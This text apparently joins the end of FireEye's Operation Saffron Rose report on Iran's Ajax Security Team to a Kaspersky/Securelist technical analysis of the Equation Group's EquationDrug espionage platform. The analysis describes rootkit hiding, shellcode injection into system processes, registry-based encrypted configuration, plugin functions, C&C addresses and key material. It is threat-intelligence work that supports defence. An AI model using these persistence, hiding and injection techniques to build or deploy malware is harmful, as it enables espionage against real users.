In addition to attacking companies in the U.S., they have targeted domestic users of anti-censorship technology.
While the objectives of this group are consistent with Irans efforts at controlling political dissent and expanding offensive cyber capabilities, the relationship between this group and the Iranian government remains inconclusive.
For example, the Ajax Security Team could just be using anti-censorship tools as a lure because they are popular in Iran, in order to engage in activities that would be considered traditional cybercrime.
In one case, HUrrc4nE, using the email address keyvan.ajaxtmgmail[.
]com, has been flagged for possible fraud by an online retailer.
While HUrrc4nE is engaged in operations that align with Irans political objectives, he may also be dabbling in traditional cybercrime.
This indicates that there is a considerable grey area between the cyber espionage capabilities of Irans hacker groups and any direct Iranian government or military involvement.
On the spectrum of state responsibility, these attacks align with state-encouraged attacks, which are defined as attacks in which: Third parties control and conduct the attack, but the national government encourages them as a matter of policy.28 Recruiting hackers through this model allows Iran to influence their activities, and provides the Iranian government plausible deniability, but a lack of direct control also means that the groups may be unpredictable and engage in unsanctioned attacks.
Figure 16: Screenshot of an online retailers fraud alert 28 Healey, J.
Beyond Attribution: Seeking National Responsibility for Cyber Attacks.
January 2012.
http://www.fireeye.com 19  www.fireeye.com Fireeye: Operation Saffron Rose  2013 FireEye, Inc.    1440 McCarthy Blvd.
Milpitas, CA 95035    408.321.6300    877.FIREEYE (347.3393)    infofireeye.com    www.fireeye.com 2014 FireEye, Inc. All rights reserved.
FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners.
RPT.OSR.EN-US.082014 Conclusion The increased politicization of the Ajax Security Team, and the transition from nuisance defacements to operations against internal dissidents and foreign targets, coincides with moves by Iran aimed at increasing offensive cyber capabilities.
While the relationship between actors such as the Ajax Security Team and the Iranian government is unknown, their activities appear to align with Iranian government political objectives.
The capabilities of the Ajax Security Team remain unclear.
This group uses at least one malware family that is not publicly available.
We have not directly observed the Ajax Security Team use exploits to deliver malware, but it is unclear if they or other Iranian actors are capable of producing or acquiring exploit code.
While the Ajax Security Teams capabilities remain unclear, we know that their current operations have been somewhat successful as measured by the number of victims seen checking into to an Ajax Security Team controlled CnC server.
We believe that if these actors continue the current pace of their operations they will improve their capabilities in the mid-term.
About FireEye FireEye has invented a purpose-built, virtual machine-based security platform that provides real-time threat protection to enterprises and governments worldwide against the next generation of cyber attacks.
These highly sophisticated cyber attacks easily circumvent traditional signature-based defenses, such as next-generation firewalls, IPS, anti-virus, and gateways.
The FireEye Threat Prevention Platform provides real-time, dynamic threat protection without the use of signatures to protect an organization across the primary threat vectors and across the different stages of an attack life cycle.
The core of the FireEye platform is a virtual execution engine, complemented by dynamic threat intelligence, to identify and block cyber attacks in real time.
FireEye has over 1,500 customers across more than 40 countries, including over 100 of the Fortune 500.
We thank Kenneth Geers and Jen Weedon for their support and analysis on these findings.
http://www.fireeye.com mailto:info40FireEye.com http://www.fireeye.com
Inside the EquationDrug Espionage Platform Introduction EquationDrug is one of the main espionage platforms used by the Equation Group[1], a highly sophisticated threat actor that has been engaged in multiple CNE (computer network exploitation) operations dating back to 2001, and perhaps as early as 1996.
(
See full report here [PDF][2]).
EquationDrug, which is still in use, dates back to 2003, although the more modern GrayFish platform is being pushed to new victims.
EquationDrug represents the main espionage platform from the EquationAPT Group Tweet[3] Its important to note that EquationDrug is not just a Trojan, but a full espionage platform, which includes a framework for conducting cyberespionage activities by deploying specic modules on the machines of selected victims.
The concept of a cyberespionage platform is neither new nor unique.
Other threat actors known to use such sophisticated platforms include Regin[4] and Epic Turla[5].
The EquationDrug platform can be extended through plugins (or modules).
It is pre-built with a default set of plugins supporting a number of basic cyberespionage functions.
These include common features such as le collection and the making of screenshots.
Sophistication is added by storing stolen data inside a custom-encrypted virtual le system before it is sent to the command and control servers.
The name EquationDrug or Equestre was assigned to this framework by Kaspersky Lab researchers.
The only reference left by the framework developers was a short string UR, as seen in several string artifacts left in the binaries.
Platform Architecture The EquationDrug platform includes dozens of executables, congurations and protected storage locations.
Putting all the pieces of this puzzle together in the right order may take time for those who are not familiar with the platform.
The platform includes executables, congurations and protected storage locations EquationAPT Tweet[6] http://securelist.com/blog/research/69203/inside-t... 1 of 30 03/22/2015 10:21 PM The architecture of the whole framework resembles a mini-operating system with kernel-mode and user-mode components carefully interacting with each other via a custom message-passing interface.
The platform includes a set of drivers, a platform core (orchestrator) and a number of plugins.
Every plugin has a unique ID and version number that denes a set of functions it can provide.
Some of the plugins depend on others and might not work unless dependencies are resolved.
[
7] [8] http://securelist.com/blog/research/69203/inside-t... 2 of 30 03/22/2015 10:21 PM Similar to popular OS kernel designs, such as on Unix-based systems, some of the essential modules are statically linked to the platform core, while others are loaded on demand.
The hypothesis that these attackers have been active since the 90s seems realistic EquationAPT Tweet[9] The platform is started by the kernel mode driver component (msndsrv.sys on Windows 2000 or above and mssvc32.vxd on Windows 9x).
The driver then waits for the system to start and initiates execution of the user-mode loader mscfg32.exe.
The loader then starts the platforms central module (an orchestrator) from the mscfg32.dll module.
Additional drivers and libraries may be loaded by different components of the platform, either built-in or auxiliary.
Platform Components The EquationDrug platform can be as sophisticated as a space station, but it appears to be of no use without its cyberespionage features.
This function is provided by plugin modules that are part of the massive framework described above.
We discovered dozens of plugins and each is a sophisticated element that can communicate with the core and become aware of the availability of other plugins.
The plugins we discovered probably represent just a fraction of the attackers potential.
Each plugin is assigned a unique plugin ID number (WORD), such as 0x8000, 0x8002, 0x8004, 0x8006, etc.
All plugin IDs are even numbers and they all start from byte 0x80.
The biggest plugin ID we have seen is 0x80CA.
To date, we have found 30 unique plugin IDs in total.
Considering the fact that the developers assigned plugin IDs incrementally, and assuming that other plugin IDs were assigned to modules that we have not yet discovered, its not hard to calculate that 86 modules have yet to be discovered.
86 modules have yet to be discovered EquationAPT Tweet[10] The most interesting modules we have seen contain the following functionality: Network trafc interception for stealing or re-routing.
Reverse DNS resolution (DNS PTR records).
Computer management: Start/stop processes Load drivers and libraries Manage les and directories System information gathering: OS version Computer name User name http://securelist.com/blog/research/69203/inside-t... 3 of 30 03/22/2015 10:21 PM Locale Keyboard layout Timezone Process list Browsing network resources and enumerating and accessing shares.
WMI information gathering.
Collection of cached passwords.
Enumeration of processes and other system objects.
Monitoring LIVE user activity in web browsers.
Low-level NTFS lesystem access based on the popular Sleuthkit framework.
Monitoring removable storage drives.
Passive network backdoor (runs Equation shellcode from raw trafc).
HDD and SSD rmware manipulation.
Keylogging and clipboard monitoring.
Browser history, cached passwords and form auto-ll data collection.
Code Artifacts During our research we paid attention to unique identiers and codenames used by the developers in the malware.
Most of this information is carefully protected with obfuscation or encryption algorithms to prevent quick recognition, but anyone who breaks through this layer of encryption may discover some interesting internal strings, as demonstrated below: [11] [12] Some other interesting text strings include: SkyhookChow Target SkyhookChow Payload Dissecorp Manual/DRINKPARSLEY/2008-09-30/10:06:46.468-04:00 VTT/82053737/STRAITACID/2008-09-03/10:44:56.361-04:00 VTT/82051410/LUTEUSOBSTOS/2008-07-30/17:27:23.715-04:00 STRAITSHOOTER30.ex_ BACKSNARF_AB25 c:\users\rmgree5\co\standalonegrok_2.1.1.1\gk_driver\gk_sa_driver http://securelist.com/blog/research/69203/inside-t... 4 of 30 03/22/2015 10:21 PM To install: run with no arguments Attempting to drop SFCriteria_Check failed SFDriver Error detected Uninstalling... Timeout waiting for the canInstallNow event from the implant-specic EXE Trying to call privilege lib...
Hiding directory Hiding plugin...
Merging plugin...
Merging old plugin key... Couldnt reset canInstallNowEvent Performing UR-specic pre-install... Work complete.
Merged transport manager state.
SFCong Some other names, such as kernel object and le names, abbreviations, resource code page and several generic messages, point to English-speaking developers.
Due to the limited number of such text strings its hard to tell reliably if the developers were native English speakers.
Link Timestamp Analysis We have gathered a reasonably large number of executable samples to which we have been able to apply link timestamp analysis.
A link timestamp is a 4-bytes value stored in an executable le header.
This value is automatically set by compiler software when a developer builds a new executable.
The value contains a detailed timestamp including minutes and even seconds of compilation time (think of it as the les moment of birth).
[
13] Link timestamp analysis require the collection of the timestamps of all available executables, grouping them according to certain criteria, such as the hour or day of the week, and putting them on a chart.
Below are some charts built using this approach.
[
14] http://securelist.com/blog/research/69203/inside-t... 5 of 30 03/22/2015 10:21 PM [15] [16] Can we trust this information?
The answer is: not fully, because the link timestamp can be altered by the developer in a way thats not always possible to spot.
However, certain indicators such as matching the year on the timestamp with the support of technology popular in that year leads  us to believe that the timestamps were, at the very least, not wholly replaced.
Looking at this from the other side, the easiest option for the developer is to wipe the timestamp completely, replacing it with zeroes.
This was not found in the case of EquationDrug.
In fact, the timestamps look very realistic and match the working days and hours of a well-organized software developer from timezone UTC-3 or UTC-4, if you assume that they come to work at 8 or 9 am.
The timestamps match the working days of software developer from timezone UTC-3 or UTC-4 EquationAPT Tweet[17] http://securelist.com/blog/research/69203/inside-t... 6 of 30 03/22/2015 10:21 PM And nally, in case you are wondering if the developers work on public holidays, you can check this for yourself against the full list of their working dates: 2001.08.17 2007.12.11 2009.04.16 2011.10.20 2012.08.31 2013.06.11 2001.08.23 2007.12.17 2009.06.05 2011.10.26 2012.09.28 2013.06.26 2003.08.16 2008.01.01 2009.12.15 2012.03.06 2012.10.23 2013.08.09 2003.08.17 2008.01.23 2010.01.22 2012.03.22 2012.11.02 2013.08.28 2005.03.16 2008.01.24 2010.02.19 2012.04.03 2012.11.06 2013.10.16 2005.09.08 2008.01.29 2010.02.22 2012.04.04 2013.01.08 2013.11.04 2006.06.15 2008.01.30 2010.03.27 2012.04.05 2013.02.07 2013.11.26 2006.09.18 2008.04.24 2010.06.15 2012.04.12 2013.02.21 2013.12.04 2006.10.04 2008.05.07 2011.02.09 2012.07.02 2013.02.22 2013.12.05 2006.10.16 2008.05.09 2011.02.23 2012.07.09 2013.02.27 2013.12.13 2007.07.12 2008.06.17 2011.08.08 2012.07.17 2013.04.16 2007.10.02 2008.09.17 2011.08.30 2012.08.02 2013.05.08 2007.10.16 2008.09.24 2011.09.02 2012.08.03 2013.05.14 2007.12.10 2008.12.05 2011.10.04 2012.08.14 2013.05.24 Conclusions EquationDrug represents the main espionage platform from the Equation Group.
Its been in use for over 10 years, replacing EquationLaser until it was replaced itself by the even more sophisticated GrayFish platform.
The EquationDrug case demonstrates an interesting trend: a growth in code sophistication EquationAPT Tweet[18] The EquationDrug case demonstrates an interesting trend that we have been seeing while analyzing supposedly nation-state cyberattack tools: a growth in code sophistication.
It is clear that nation-state attackers are looking for better stability, invisibility, reliability and universality in their cyberespionage tools.
You can make a basic browser password-stealer or a sniffer within days.
However, nation-states are focused on creating frameworks for wrapping such code into something that can be customized on live systems and provide a reliable way to store all components and data in encrypted  form, inaccessible to normal users.
While traditional cybercriminals mass-distribute emails with malicious attachments or infect websites on a large scale, nation-states create automatic systems infecting only selected users.
While traditional cybercriminals typically reuse one malicious le for all victims, nation-states prepare malware unique to each victim and even implement restrictions preventing decryption and execution http://securelist.com/blog/research/69203/inside-t... 7 of 30 03/22/2015 10:21 PM outside of the target computer.
Nation-state attackers create automatic systems infecting only selected users EquationAPT Tweet[19] Sophistication of the framework is what makes this type of actor different from traditional cybercriminals, who prefer to focus on payload and malware capabilities such as implementing a long list of custom third-party software credential database parsers.
The difference in tactics between cybercriminals and nation-state attackers appears to be due to relative resource availability.
Its known that cybercriminals attempt to infect as many users as possible and that they can sometimes compromise hundreds of thousands of systems.
It would will take many years to check all those machines manually, analyzing who owns them, what data is stored on them, and what custom software they run.
Cybercriminals probably dont even have enough disk space to collect all the potentially interesting data from the victims hit by their large scale infections.
That is why cybercriminals prefer to extract tiny chunks of the most important data (credentials, credit card numbers, etc) on the machine of the victim and transfer only few kilobytes from each compromised host.
Such data, when combined from all users, normally takes up gigabytes of disk space.
Nation-state attackers have sufcient resources to store as much data as they want.
They have access to virtually unlimited data storage.
However, they dont need, and often try to avoid, infecting random users, for the obvious reason of avoiding attention and remaining invisible.
Implementing custom data format parsers in the malware not only doesnt help them nd all the valuable data on the victims machine, but may also attract extra attention from security software running on the system.
They mostly prefer to have a generic remote system management tool that can copy any information they might need even if it causes some redundancy.
However, copying large volumes of information might slow down network connection and attract attention, especially in some countries with poorly developed internet infrastructure.
To date, nation-state attackers have had to balance between these two poles: copying victims entire hard drives while stealing only tiny bits of passwords and keys.
Nation-state attackers use a remote system management tool that can copy any information they need EquationAPT Tweet[20] Now, if you wonder why EquationDrug, a powerful cyberespionage platform, doesnt provide all stealing capability as standard in its malware core, the answer is that they prefer to customize the attack for each one of their victims.
Only if they have chosen to actively monitor you and the security products on your machines have been disarmed, will you receive a plugin for the live tracking of your conversations or other specic functions related to your activities.
We believe modularity and customization will become a unique trademark of nation-state attackers in the future.
http://securelist.com/blog/research/69203/inside-t... 8 of 30 03/22/2015 10:21 PM Some code paths in EquationDrug modules lead to OS version checks including a test for Windows 95, which is accepted as one of supported platforms.
While some other checks will not pass on Windows 95, the presence of this code means that this OS was supported in some earlier variants of the malware.
Considering this and the existence of components designed to run on Windows 9x (such as VXD-les), as well as compilation timestamps dating back to early 2000s, the hypothesis  that these attackers have been active since the 90s seems realistic.
This makes the current attacker an outstanding actor operating longer than any other in the eld.
Technical Details Kernel mode stage 0 (Windows 9x) - mssvc32.vxd MD5 0a5e9b15014733ee7685d8c8be81fb0d Size 6 710 bytes Format Linear Executable (LE) This VXD driver handles only two control messages: W32_DeviceIoControl and Dynamic_Init.
The DeviceIoControl part is not completely implemented and the driver is only able to check for some known control codes.
However it does nothing.
This handler looks more like a code stub rather than actual payload.
On the Dynamic_Init event, the driver retrieves the location of the user-mode loader executable from the following registry value: [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] Cong If the value is not present in the registry, it uses the following fallback string hardcoded in the binary: C:\WINDOWS\SYSTEM\SVCHOST32.EXE Next, it installs a callback procedure using Windows function _SHELL_CallAtAppyTime.
This procedure will be called when CPU is running in ring-3 mode, so that a new executable (loader process) can be started via the traditional way.
This is a standard trick that was used by developers in the 90s to initiate a call to DLL export in ring-3 from ring-0 in Windows 9x OS family.
Kernel mode stage 0 and rootkit (Windows 2000 and above) - msndsrv.sys MD5 c4f8671c1f00dab30f5f88d684af1927 Size 105 392 bytes http://securelist.com/blog/research/69203/inside-t... 9 of 30 03/22/2015 10:21 PM Format PE32 Native Compiled 2008.01.23 14:12:33 (GMT) Location System32\drivers\msndsrv.sys This module can create log les in the following known locations: systemroot\system32\mslog32.dat systemroot\system32\msperf32.dat (default location) The driver acts as the rst stage of the EquationDrug platform on Windows 2000 and implements rootkit functions for hiding the components of the platform.
Additionally, it implements a NDIS driver for ltering network trafc.
When started and initialized, the driver retrieves the location of the user-mode loader executable from the registry value: [HKLM\System\CurrentControlSet\Services\driver name] Cong The driver name is not hardcoded and is obtained dynamically from the current module name, which means that different instances may check different registry keys and this may not be a reliable way to check for infection.
The sample we analyzed used msndsrv as the driver name.
Next, it crafts and injects a shellcode in services.exe or winlogon.exe.
The shellcode is designed to spawn the loader process from the executable called mscfg32.exe.
The rootkit code in the driver hooks several Native API functions that lets it hide or protect registry keys, les and running processes.
The components of EquationDrug can modify the list of protected objects by sending DeviceIoControl messages to the driver.
The driver also maintains a persistent list of protected objects that is stored in the following registry values: [HKLM\System\CurrentControlSet\Services\driver name] 1 [HKLM\System\CurrentControlSet\Services\driver name] 2 These values are also protected by the rootkit.
They can be revealed by booting Windows in Safe Mode.
The driver contains the following unused strings: \\.\mailslot\dskInfo Dissecorp User-mode loader - mscfg32.exe, svchost32.exe MD5 c3af66b9ce29efe5ee34e87b6e136e3a http://securelist.com/blog/research/69203/inside-t... 10 of 30 03/22/2015 10:21 PM Size 22 016 bytes Format PE32 EXE Compiled 2008.01.23 14:26:05 (GMT) Location System32\mscfg32.exe This module opens a unique event named D0385CB7-B834-45d1-A501-1A1700E6C34E.
If the event exists, it waits for 10 seconds and attempts to open a le whose name can be decrypted as \\.\MSNDSRV.
If the device le is successfully opened, the code issues a device request with IOCTL code 0x80000194 and no parameters.
This module uses RC5 in CBC-like mode with a key length of 96-bit for string encryption.
Careful analysis reveals some bits of uninitialized memory found next to encryption key locations.
This is unused but partly meaningful memory, because it seems to contain short chunks of strings resembling some local lepaths: rver\8 (probably part of Server\8... string) LInj (could be a part of DLLInjector or similar) Its apparent that some parts of the code were designed to run on Windows 9x, for example a call to RegisterServiceProcess Windows API function makes sense only on Windows 9x OS family, because this API function doesnt exist on Windows NT platform.
The module uses a unique algorithm for generating registry value names.
The code contains strings, such as SkyhookChow Target, that are converted to GUID-like strings by calculating SHA1 hash and using its hexadecimal representation as a string.
The resulting strings are used as actual registry value names in [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] registry key.
Sample registry value names: Original String GUID-like registry value name SkyhookChow Target B6F5CD13-A74D-8B82-A6AA-6FA1BE2484C1-6832DF06 SkyhookChow Payload F4CF0326-6DCD-EEC8-5323-01CEDB66741A-B55F6F12 These registry values are encrypted using an RC5 algorithm using a hardcoded 1024-bit key with 24 rounds.
The registry value: [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] F4CF0326-6DCD- EEC8-5323-01CEDB66741A-B55F6F12 (SkyhookChow Payload) should contain the location of the orchestrator DLL le (mscfg32.dll).
If the value is not present a default value SYSTEM\mscfg32.dll is used.
http://securelist.com/blog/research/69203/inside-t... 11 of 30 03/22/2015 10:21 PM The registry value: [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] B6F5CD13-A74D-8B82- A6AA-6FA1BE2484C1-6832DF06 (SkyhookChow Target) may contain the location of the executable le that will be used as a shell process for the orchestrator library.
The module attempts to start the shell process in suspended mode.
If there is no SkyhookChow Target value or the specied executable fails to start, the module tries different failsafe locations of the programs that can be used instead: Default browser set in the registry [HKLM\SOFTWARE\Clients\StartMenuInternet\current default value\shell\open\command] 1.
SystemRoot\System32\svchost.exe2.
SystemRoot\System32\lsass.exe3.
Spoolsv service binary from the [HKLM\SYSTEM\CurrentControlSet\Services\Spooler] ImagePath registry value.
4.
Default html le handler from [HKLM\SOFTWARE\Classes\htmlle\shell\open\command]registry value.5.
Internet Explorer path from [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\] IEXPLORE.EXE registry value.
6.
Next, the module injects extra code into a newly started target process.
The injected code loads the payload DLL (mscfg32.dll) into the target process and waits for the parent process to exit.
When the parent process quits, it unloads the payload DLL and exits as well.
The rest of the logic relies on the loaded DLL in that new process.
See the description of the mscfg32.dll module below.
The module communicates with the Stage0/Rootkit driver msndsrv.sys by sending DeviceIoControl messages to the device \\.\MSNDSRV.
It activates the rootkit for its own process, for the target process holding the orchestrator and for all the les involved.
Platform orchestrator - mscfg32.dll, svchost32.dll MD5 5767b9d851d0c24e13eca1bfd16ea424 Size 249 856 bytes Format PE32 DLL Compiled 2008.01.24 22:11:34 (GMT) Location System\mscfg32.dll Creates mutex: 01C482BA-BD31-4874-A08B-A93EA5BCE511, or terminates if one already exists.
Writes a timestamped log le to one of the following locations: SystemRoot\temp\yh56816.tmp http://securelist.com/blog/research/69203/inside-t... 12 of 30 03/22/2015 10:21 PM C:\Windows\Temp\yh56816.tmp Registry_SystemRoot_Value\temp\yh56816.tmp Value of [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] D The le yh56816.tmp retains the history of execution.
It comprises debug records of simple structure: Stage: DWORD  DateTimeLow: DWORD  DateTimeHigh: DWORD Basically, it logs the execution of every stage of the orchestrator and the time of execution.
The Stage is an integer number starting from 1.
This module spawns a new thread in the DllMain function which contains the main function body.
The procedure disables application error popups shown by the default exception handler.
This is probably done only in the Release version of the malware, because the following code generates exceptions that are reported to the user if application error popups are not disabled.
We assume that the Debug version of the code doesnt suppress error popups when exception occurs as this helps with the debugging of the code.
The module checks the OS version and if it encounters an unsupported operating system the code generates an exception which terminates the application.
The list of OS versions that pass this test: Windows 95/98/ME Windows NT 4.0 and above.
If the module runs on Win9x, it executes Win9x-specic function RegisterServiceProcess to hide from the Windows Task Manager application.
If the module is NOT running on WinNT6.0, it then attempts to open a virtual device le with one of the following names: \\.\MSSVC32 on Win9x \\.\MSNDSRV on WinNT If the device le is successfully opened, the module activates a rootkit for its process and for the le location SYSTEM\unilay.dll local path.
This is followed by nding and terminating a process named winproc.exe which is the name of another component of the platform.
Note that this part of the code is executed only on platforms different from WinNT 6.x (Windows Vista and later).
The module was designed to fetch or update its main conguration data from different places.
There are some default values set inside the code, such as some timeout values and the following CCs: www.waeservices[.
]com 213.198.79.49 These default values can be overwritten later.
Next, it locates a data section called Share2 in the current module and veries the starting magic number.
If it is 0x63959700, it then decrypts the rest of the data in the section and interprets it as a http://securelist.com/blog/research/69203/inside-t... 13 of 30 03/22/2015 10:21 PM conguration block.
However, data from the next location can override all previous settings.
This is a registry value with special name.
The naming of the registry location is the same GUID-like SHA1 value as the one used in the loader (mscfg32.exe), and is produced from the source string Conguration: [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] 42E14DD3- F07A-78F1-7659-26AE141569AC-E0B3EE89 The conguration block stored in the registry value is encrypted using RC5 with the 1024-bit key.
Both the loader and the orchestrator share the same key for encrypting and decrypting the registry values in the MemSubSys key.
The decrypted conguration block consists of a series of tagged conguration records in the following format: [RecordType:DWORD][RecordSize: DWORD][RecordValue: RecordSize] We retrieved a copy of a conguration block and decrypted and partly interpreted it.
We are including the results for one of the conguration blocks: Time value: 1 year 0 months 1 days 22 hours 6 mins 52 secs.
The orchestrator is expected to set this eld to the time of initial conguration.
Binaries: 3x1024-bit encryption keys 1b8e7818dad6345c53c2707a2c44648eee700d5cf34fea6a19a3fa0a6a871c72963fdded 91e2703c82b7747b8793e3063700da32cfb8d907dcce1beb36edd575418d1134ef188b 27ec3ce23711a656b0a8bf28921fbf1c39b4c90ad561e4174ed90f26ce11245bb9deb4b 4720403f47ca865ec8bbd3c1df9d93d042ff5b52ec6 05000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 ed04953f3452068ae6439f04c7904c8be5e98e66e2cd0f267d65240aeed88bd4d3c6105 c99950dd42ccde4bc6bbaf9f6cb1b4e628d943e91f8f97f2aff705fdd25e3af6ba0bc4fd13 d67a2bcb751bb8f21f3d4b66c599f3e572802911394d142f8cf3a299d6d4558f9f0f01634 9afd1888472f4f8c729ffe913f670931f1a227 CC domain: www[dot]waeservices[dot]com CC IP address: 213.198.79.49 CC port: 443 Timestamp: 2010-12-08 11:35:57 Tool Reference: VTT/82055898/STEALTHFIGHTER/ 2008-10-16/14:59:06.229-04:00 TimeoutA: 25200 sec (7 hours) TimeoutB: 32400 sec (9 hours) TimeoutC: 3600 sec (1 hour) http://securelist.com/blog/research/69203/inside-t... 14 of 30 03/22/2015 10:21 PM TimeoutD: 172800 sec (48 hours) Several Unknown Values Other conguration blocks we discovered contained similar information, with only some unique values: Timestamp: 2009-11-23 14:10:15 Tool Reference: Manual/DRINKPARSLEY/2008-09-30/10:06:46.468-04:00 Tool Reference: VTT/82053737/STRAITACID/2008-09-03/10:44:56.361-04:00 Tool Reference: STRAITSHOOTER30.ex_ Tool Reference: VTT/82051410/LUTEUSOBSTOS/2008-07-30/17:27:23.715-04:00 Tool Reference: BACKSNARF_AB25 During the next step, the module obtains PE le version information from the resource section.
It loads the version info using hard-coded module names, which are supposed to match the current module name: SVCHOST32.DLL for Windows 9x MSCFG32.DLL for Windows NT If le version information is available, it gets language-specic values of the PrivateBuild block.
The codepage and languages that are veried: Unicode, LANG_NEUTRAL and LANG_ENGLISH_US.
When this check passes, the module gets default registry value from the following location: [HKLM\SOFTWARE\Classes\CLSID\091FD378-422D-A36E-8487-83B57ADD2109] TypeLib If the key is not found, the code checks for registry value TypeLib in the following key: [HKLM\SOFTWARE\Classes\CLSID\091FD378-422D-A36E-8487-83B57ADD2109] If such a value is found, it is then deleted along with the Version value if it exists in the same key.
The string obtained from one of two possible registry values is processed as if this value is a CLSID-like string: the code takes the last 16 hexadecimal digits, splits them in two 8-chars values, converts them to binary form (two DWORDs) and reverses the order of bytes in each DWORD and XORs, the rst value with 0x8ED400C0, and the second with 0x4FC2C17B.
Next, the rst DWORD value becomes second and the second becomes rst.
In this order, they are stored in a structure in memory.
These two values seem to be very important as they override a few values in the previously known conguration.
If they dont exist, values from the current conguration replace them and are stored back in the registry following the reverse procedure: [HKLM\SOFTWARE\Classes\CLSID\091FD378-422D-A36E-8487-83B57ADD2109\Version] is created and default value is set to version obtained from le version information PrivateBuild eld (i.e.
3.04.00.0001).
This seems to be used as kit version number.
1.
[
HKLM\SOFTWARE\Classes\CLSID\091FD378-422D-A36E-8487-83B57ADD2109\Version] is created and default value is set to a CLSID like string generated from the following: Fixed prex string: 8C936AF9-243D-11D0- Two important DWORD values in the format of 04X-04X08X string.
2.
http://securelist.com/blog/research/69203/inside-t... 15 of 30 03/22/2015 10:21 PM We collected and decrypted several samples of such values.
According to the code, they are initialized with values of the Microsoft letime format.
So, we decided to interpret them as letime values: 20101C04EC2C17B: 1 year(s) 7 month(s) 21 day(s) 23 hour(s) 32 min(s) 1 sec(s) 81E01C04EC2C17B: 1 year(s) 7 month(s) 8 day(s) 12 hour(s) 13 min(s) 5 sec(s) E0001C04EC2C17B: 1 year(s) 7 month(s) 21 day(s) 1 hour(s) 6 min(s) 15 sec(s) 77101C04EC2C17B: 1 year(s) 5 month(s) 20 day(s) 19 hour(s) 15 min(s) 4 sec(s) 30F01C04EC2C17B: 1 year(s) 8 month(s) 0 day(s) 6 hour(s) 10 min(s) 33 sec(s) C0901C04EC2C17B: 1 year(s) 8 month(s) 2 day(s) 6 hour(s) 29 min(s) 39 sec(s) 66701C04EC2C17B: 1 year(s) 6 month(s) 9 day(s) 2 hour(s) 10 min(s) 23 sec(s) F6501C04EC2C17B: 1 year(s) 6 month(s) 6 day(s) 19 hour(s) 53 min(s) 22 sec(s) 01401C04EC2C17B: 1 year(s) 6 month(s) 25 day(s) 23 hour(s) 34 min(s) 13 sec(s) After that, the module stores current time values in encrypted form in the registry value: [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] 08DAB849-0E1E- A1F0-DCF1-457081E091DB-117DB663 (encoded SHA1 of StartTime) The module contains an additional compressed Windows DLL le in the resource section, which is extracted as unilay.dll (see below).
This DLL exports a number of functions that are just wrappers of the system API used to work with les and the registry, and also start processes and load additional DLL les.
The orchestrator contains several built-in plugins that form the core of the platform.
These are initialized in the rst place, and then additional plugins are loaded.
All the plugins are indexed in a single encrypted registry value: [HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\MemSubSys] 1 This value has information about all the components of the current kit.
It may include Unicode strings with paths to extra DLLs which serve as plugins.
Each DLL exports at least four functions which are imported by ordinal numbers from 1 to 4.
The structure of the registry value 1: [Count:DWORD] [Plugin Id:WORD][Plugin Path Length:DWORD][Plugin Path String:VARIABLE] Plugins interact with each other and with the orchestrator by exchanging messages of pre-dened format.
The message transport is implemented as a global object that contains four communication streams.
Every stream contains a pair of kernel synchronization object handles (a semaphore with xed maximum value defaulted to 1000 and a mutex) and a message queue as an array.
A dedicated thread processes messages that appear in the message queues.
A message arrives in a parcel, represented as two DWORD values that contain the size of the message and a pointer to the message data.
The message data starts with a DWORD identifying a class of message (a http://securelist.com/blog/research/69203/inside-t... 16 of 30 03/22/2015 10:21 PM request, reply, etc).
The orchestrator contains the following built-in plugins (listed by internal ID): 8000, 8022, 8024, 803C, 8046, 800A, 8042, 8002, 8004, 8006, 8008, 8070, 808E.
Several additional built-in modules have been discovered in newer versions of the orchestrator that was shipped with the GrayFish platform.
EquationDrug Plugins: Plugin ID File name Description 8000 Built-in Core, basic API for other modules 8002 wshcom.dll CC communication using Windows sockets 8004 Built-in Additional message queue 8006 Built-in Memory allocation / storage 8008 vnetapi32.dll CC communication code based on DoubleFantasy, using WinInet API 800A Built-in CC communication orchestrator 800C perfcom.dll HTTP communication 8022 khlp680w.dll System API: execute processes, load libraries, manipulate les and directories 8024 cmib158w.dll Collects system information: OS version, computer name, user name, locale, keyboard layout, timezone, process lists 8034 cmib456w.dll Management of the VFS backed by encrypted .FON les in the Fonts\Extension directory.
Provides encryption using RC5 for these les 803E nls_874w.dll Network sniffer 803C Built-in Communication with the NDIS lter part of msndsrv.sys 8040 khlp807w.dll Network exploration API, share enumeration and access 8042 Built-in Compression library based on Nrv2d / UCL 8046 Built-in Communication with the rootkit part of msndsrv.sys 8048 mstkpr.dll Disk forensics and direct NTFS reader based on sources of SleuthKit 8050 khlp760w.dll Additional encryption facilities for the le-backed VFS 8058 khlp733w.dll Collects local system information, WMI information, cached passwords 8070 khlp747w.dll Enumerates processes and system objects 807A mscoreep32.dll Plugins for monitoring Internet Explorer and Mozilla browser activities 808A khlp866w.dll Compression library based on Zlib 808E Built-in Reverse (PTR record) DNS resolver 8094 Built-in In-memory storage http://securelist.com/blog/research/69203/inside-t... 17 of 30 03/22/2015 10:21 PM 809C Built-in In-memory storage 80AA nls933w.dll HDD / SSD rmware manipulation 80AE wpl913h.dll Keylogger and clipboard monitoring (aka GROK) 80BE vnetapi.dll CC communication via WinHTTP API 80C6 webmgr.dll Extracts web history, Mozilla/Internet Explorer-saved form data and cached credentials 80CA wshapi.dll CC communications interface via Windows sockets Additional components Unilay.
DLL This module provides a compatibility layer for accessing system API functions for Windows 9x.
It redirects Unicode (W) variants of Windows API functions to corresponding ANSI variants by converting Unicode string parameters to multi-byte strings and calling the respective ANSI API.
